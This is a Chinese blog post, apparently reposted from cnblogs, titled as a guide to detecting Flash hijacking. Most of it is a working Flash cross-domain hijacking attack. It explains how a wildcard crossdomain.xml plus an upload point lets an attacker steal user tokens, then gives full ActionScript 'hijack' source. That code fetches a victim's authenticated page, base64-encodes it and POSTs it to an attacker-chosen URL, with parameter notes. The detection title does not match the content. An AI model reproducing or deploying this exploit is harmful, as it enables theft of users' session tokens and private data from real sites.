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怎么检测flash是否被劫持

时间:2019-09-16 15:14:42      阅读:29      评论:0      收藏:0      [点我收藏+]

标签:all   abcde   byte   list   ons   parameter   

  通过什么样的办法检测flash是否被劫持?
  iis7网站监控
  网站的劫持、污染、flash劫持可检测。
  Flash 劫持
  当我们在挖src漏洞的时候,找到一个接口或者一个页面response内容,存在用户的token或者用户唯一标识的信息的时候,着要访问www.**.com/crossdomain.xml
  <cross-domain-policy>
  <allow-access-from domain="*.qq.com"/>
  <allow-access-from domain="*.gtimg.com"/>
  </cross-domain-policy>
  存在以上的情况,着要在**.com找到一个可以上传图片的就可以进行劫持用户权限。
  hijack源码:
  package {
  import flash.display.Sprite;
  import flash.events.Event;
  import flash.net.*;
  import flash.utils.ByteArray;
  import flash.text.TextField;
  public class hijack extends Sprite
  {
  private static const _encodeChars:Vector.<int> = _initEncoreChar();
  public function hijack()
  {
  var params:Object=root.loaderInfo.parameters;
  var jpg:URLRequest = new URLRequest(params.jpg);
  jpg.method = URLRequestMethod.GET;
  sendToURL(jpg);
  var request:URLRequest = new URLRequest(params.get);
  request.method = URLRequestMethod.GET;
  var loader:URLLoader=new URLLoader();
  loader.addEventListener(Event.COMPLETE,completeHandler);
  function completeHandler(event:Event):void{
  var data:String=(loader.data);
  var postURLrequest:URLRequest = new URLRequest(params.post);
  postURLrequest.method = URLRequestMethod.POST;
  var postdata:Object = new Array();
  postdata[0]=encode(data);
  postURLrequest.data = postdata[0];
  sendToURL(postURLrequest);
  }
  loader.load(request);
  }
  public static function encode(data:String):String {
  var bytes:ByteArray = new ByteArray();
  bytes.writeUTFBytes(data);
  return encodeByteArray(bytes);
  }
  public static function encodeByteArray(data:ByteArray):String {
  var out:ByteArray = new ByteArray();
  //Presetting the length keep the memory smaller and optimize speed since there is no "grow" needed
  out.length = (2 + data.length - ((data.length + 2) % 3)) * 4 / 3; //Preset length //1.6 to 1.5 ms
  var i:int = 0;
  var r:int = data.length % 3;
  var len:int = data.length - r;
  var c:uint; //read (3) character AND write (4) characters
  var outPos:int = 0;
  while(i < len) {
  //Read 3 Characters (8bit * 3 = 24 bits)
  c = data[int(i++)] << 16 | data[int(i++)] << 8 | data[int(i++)];
  out[int(outPos++)] = _encodeChars[int(c >>> 18)];
  out[int(outPos++)] = _encodeChars[int(c >>> 12 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int(c >>> 6 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int(c & 0x3f)];
  }
  //Need two "=" padding
  if(r == 1) {
  //Read one char, write two chars, write padding
  c = data[int(i)];
  out[int(outPos++)] = _encodeChars[int(c >>> 2)];
  out[int(outPos++)] = _encodeChars[int((c & 0x03) << 4)];
  out[int(outPos++)] = 61;
  out[int(outPos++)] = 61;
  }
  //Need one "=" padding
  else if(r == 2) {
  c = data[int(i++)] << 8 | data[int(i)];
  out[int(outPos++)] = _encodeChars[int(c >>> 10)];
  out[int(outPos++)] = _encodeChars[int(c >>> 4 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int((c & 0x0f) << 2)];
  out[int(outPos++)] = 61;
  }
  return out.readUTFBytes(out.length);
  }
  private static function _initEncoreChar():Vector.<int> {
  var encodeChars:Vector.<int> = new Vector.<int>(64, true);
  // We could push the number directly
  // but I think it‘s nice to see the characters (with no overhead on encode/decode)
  var chars:String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  for(var i:int = 0; i<64; i++) {
  encodeChars[i] = chars.charCodeAt(i);
  }
  return encodeChars;
  }
  }
  }
  参数说明:
  jpg:域下的图片(为了优先加载crossdomain.xml,否则劫持的接口加载太慢会导致无法劫持)
  get:劫持的接口或者页面
  post:接收劫持过来的页面为base64传输

怎么检测flash是否被劫持

标签:all   abcde   byte   list   ons   parameter   

原文:https://www.cnblogs.com/xiaokeaia/p/11526985.html

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